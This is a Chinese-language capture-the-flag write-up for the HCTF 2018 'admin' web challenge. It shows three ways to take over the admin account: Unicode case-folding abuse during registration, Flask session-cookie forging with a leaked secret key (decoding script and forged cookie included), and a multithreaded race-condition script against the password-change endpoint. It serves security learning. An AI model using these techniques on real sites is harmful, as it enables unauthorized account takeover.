[HCTF 2018]admin
0x00 前言
做这道题的时候,我是通过弱口令来获取flag的。看了其他人的做法后决定都试一下,毕竟仅是通过弱口令也学不到什么。
主要有以下三种解法:
- unicode欺骗
- flask session 伪造
- 条件竞争
0x01 信息收集
拿到一个网站最重要的当然是收集信息,收集到的信息决定了渗透的方向。
我在这个网站收集到了如下信息:
- 存在的页面有login register posts(404) index change(修改密码)
- 在change页面的源代码中发现了网站的源代码地址如下
0x02 unicode欺骗
下载源代码进行代码审计,首先对routes.py进行审计如下
发现注册和登录以及修改密码处只是对数据进行了小写化,而且奇怪的是小写化函数用的不是python自带的,而是自己封装的,直觉告诉我这里存在问题。
于是看一下这个函数是如何封装的 如下
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
## 包引入头
nodeprep.prepare这个方法是将大写字母转换成小写字母,但是它存在一个问题:
它会将unicode编码的ᴬ转化成A
unicode参考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital
通过代码审计我们知道login register change处都是使用的strlower()函数,都会使用到nodeprep.prepare函数。
这时我们打理一下思绪,我们只要获得admin用户的登录权限即可,login register change三处都使用了strlower()函数,
也许我们可以通过nodeprep.prepare函数的这一特性来达到更改admin用户的密码,那我们怎么来做?
首先我们可以注册一个ᴬdmin用户,注册成功后其实后端保存的账号为Admin,然后我们在更改密码,因为strlower()可以将大写字母小写化,所以我们更改的是admin的密码
ᴬdmin--->Admin--->admin
接下来我们先注册一个ᴬdmin账号
登录该账号
主页面如下,可以看到显示的账户为Admin
接下来我们修改一下密码,把密码修改为test
可以看到修改成功
登录admin用户后,看到如下
0x03 flask session 伪造
看到源代码,可以知道这个web使用的flask框架写的,flask存在一个session伪造漏洞。
flask的session保存在客户端,一般只是加了签名来防止被截取修改,但是如果没有加密我们就可以对session进行解码来获取其中的用户数据。
如果我们在获取到签名的秘钥,就可以按照解码出来的数据进行伪造,重新生成签名的session来达到欺骗服务端。
flask的session使用base64对bytes类型的用户数据进行编码,而且编码之前可能进行了压缩(session以 "." 开头时表示进行了压缩)
flask 保存在cookie里面的session一般格式为 data.timestamp.signature
## 客户端session安全学习:https://www.leavesongs.com/PENETRATION/client-session-security.html#
通过代码审计我们可以知道,没有对session进行加密,而且在config.py中得到了签名秘钥
这说明我们可以进行session伪造,但是如何才能获得flag那,代码审计过程中在index.html中还发现
只要在index界面里让session['name']的值为admin就可以获得flag。
我们先获取index界面的session
.eJxFkEGPgjAQhf_KZs4cAOPFxIOkSCSZIUsKTXsx6iKlUjcBjFrjf99qNruHucyb-ebNe8D2ODSjhsU0XJoAtt0XLB7wsYcFEEuviq3miq_uZOVM8tQpVlsZvyo_kd1ElFURsV4j3zjKSiNNGpGjk7R5j6LuJU-04klPTJkiUwbZIca47pBX84LjrWBkUXiOKI0yuve7WprVjeznrOBl5z3cMVvrQpQWXemZaYgu0cQT42-HiuPVzy7hGcBhHI7b6fvUnP9ekELOpVgb4q1Dl3do2kiJ1KGRM48OyVAvba0pzi29elzG1C7fuM7u2uY_jJo21a9y3lkvwNSMEwRwGZvhHRtEITx_AFRzbBo.X0c0OQ.4qb0LysG2sqb3NHTApcnuwpAULw
然后我们用如下python脚本对他进行解码:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
{'_fresh': True, '_id': b'410d09e026f7a13d5fcefcbd6b54e549a1234dcb1573dbbe1eea0ae0e46c8fc0763eb15993183f1b55dcf8e73ab016d794b4120aa9df34e1a430a50c4e4e306d', 'csrf_token': b'af9aac58332b285ea326741463ebea7bf6675666', 'image': b'5SHR', 'name': 'test', 'user_id': '10'}
将得到的数据中的test替换成admin,然后重新进行签名(使用的脚本地址:https://github.com/noraj/flask-session-cookie-manager)
.eJxFkEGLwkAMhf_KkrOHtuJF8GCZWiwkZcvYIXMRV2unY8eFqqgj_vcdZdk95JKXfHl5D1jvh-ZkYHoeLs0I1t0Opg_4-IIpkMiuWswnWs7v5HjMMvNa1I6TVxUHcsuY8lVMojcol57yyrLNYvJ0YFf0qOqeZWq0THsS2pa5tii2CSZ1h3I1KSXeSkEOVeCoympr-rBr2M5v5D7Hpay64OGO-cKUqnLoq8DMIvSpIZnacDvSEq9hdgbPEWxPw359_j40x78XWPGE1cKSbD36okPbxlplHi2PAzoiSz272lBSOHr1JCfUzt64zm3a5j-MmparX-W4cUGAzc51RxjB5dQM79wgjuD5A8BwbGM.X0c24g.yUFbBmBBsRINcJJ0r0SvkWfPh4A
替换session,刷新后得到
0x04 条件竞争
修改密码只是从session里面取name的值就可以进行修改,如果让这个name值为admin则可以达到修改admin账户的效果。
登录用户的时候没有进行验证便直接把用户名赋值给了session的name,所以当我们在修改密码的同时登录admin用户,从理论上来讲是可以实现修改admin账户的。
可以通过python写一个双线程脚本,一个线程登录测试账户修改密码,一个线程退出测试账户登录admin(这里登录指的只是用户名为admin密码不正确)
由于BUUCTF限制流量,所以我没有测试此方法,只是看了大佬写的脚本 如下
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'skysec', 'skysec')
change(s, 'skysec')
def func2(s):
logout(s)
res = login(s, 'admin', 'skysec')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()